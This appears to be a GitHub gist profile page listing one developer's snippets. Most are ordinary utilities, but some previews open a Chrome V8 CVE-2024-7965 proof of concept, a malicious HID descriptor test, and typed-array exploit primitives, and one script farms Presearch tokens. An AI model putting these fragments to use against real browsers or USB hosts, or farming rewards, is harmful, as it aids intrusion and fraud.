Skip to content

Instantly share code, notes, and snippets.

View ntfargo's full-sized avatar
🫥

Nathan Fargo ntfargo

🫥
View GitHub Profile
@ntfargo
ntfargo / bintodec.c
Created March 28, 2022 13:29
Binary to decimal converter
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
// binary to decimal
int bin_to_dec(char *bin) {
int i, dec = 0, len = strlen(bin);
for (i = 0; i < len; i++) {
dec += (bin[i] - '0') * pow(2, len - i - 1);
@ntfargo
ntfargo / presearch.py
Created May 29, 2022 08:46
farm presearch tokens
import random
import os
from subprocess import Popen
from time import sleep
import webbrowser
secondsopen = 10
chrome_path = 'C:/Program Files/Google/Chrome/Application/chrome.exe %s' # windows x64-based location
@ntfargo
ntfargo / better-nodejs-require-paths.md
Created October 20, 2022 06:44 — forked from branneman/better-nodejs-require-paths.md
Better local require() paths for Node.js

Better local require() paths for Node.js

Problem

When the directory structure of your Node.js application (not library!) has some depth, you end up with a lot of annoying relative paths in your require calls like:

const Article = require('../../../../app/models/article');

Those suck for maintenance and they're ugly.

Possible solutions

@ntfargo
ntfargo / gist:9cafc5bcd310e5aab69e99c55c598de3
Created February 28, 2023 17:17
Certificate for Localhost
openssl req -x509 -out localhost.crt -keyout localhost.key \
-newkey rsa:2048 -nodes -sha256 \
-subj '/CN=localhost' -extensions EXT -config <( \
printf "[dn]\nCN=localhost\n[req]\ndistinguished_name = dn\n[EXT]\nsubjectAltName=DNS:localhost\nkeyUsage=digitalSignature\nextendedKeyUsage=serverAuth")
@ntfargo
ntfargo / unfollow.js
Last active August 25, 2025 01:09
BlueSky | Unfollow All
/*
You need create .env file with the following variables:
BSKYHANDLE=yourhandle
BSKYPASS=yourpass
*/
const {
BskyAgent
} = require('@atproto/api');
require('dotenv').config();
@ntfargo
ntfargo / tir-proto.proto
Created September 2, 2023 07:37
Created for Tir Project [Rust gRPC]
syntax = "proto3";
package tir;
service TirService {
rpc GenerateKnowledge (EmptyRequest) returns (Thematics);
rpc EvaluateAnswer (EvaluateRequest) returns (Answer);
rpc CorrectExplanation (CorrectionRequest) returns (EmptyResponse);
}
<script>
// CVE-2024-7965 Proof of Concept
// Vulnerability: Heap corruption in V8 (Google Chrome === 128.0.6613.84) "ARM64" Only
// Acknowledgments: Yuri Pazdnikov — Junior Vulnerability Researcher @ BI.ZONE
// This code is only used for educational purposes and should not be used for malicious purposes.
document.addEventListener('DOMContentLoaded', (event) => {
(function() {
const ARRAY_SIZE = 150;
@ntfargo
ntfargo / hid-vtest.cpp
Last active October 15, 2024 09:52
test
#include <libusb-1.0/libusb.h>
#include <iostream>
#include <cstring>
// Malicious HID descriptor with imbalanced push/pop operations
unsigned char malicious_hid_descriptor[] = {
0x05, 0x01, // Usage Page (Generic Desktop)
0x09, 0x02, // Usage (Mouse)
0xA1, 0x01, // Collection (Application)
0x85, 0x01, // Report ID (1)
import requests
import re
import json
import time
from datetime import datetime
from bs4 import BeautifulSoup
import signal
import sys
class WebKitBugzillaChecker:
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
function pair_u32_to_f64(l, h) {
u32[0] = l;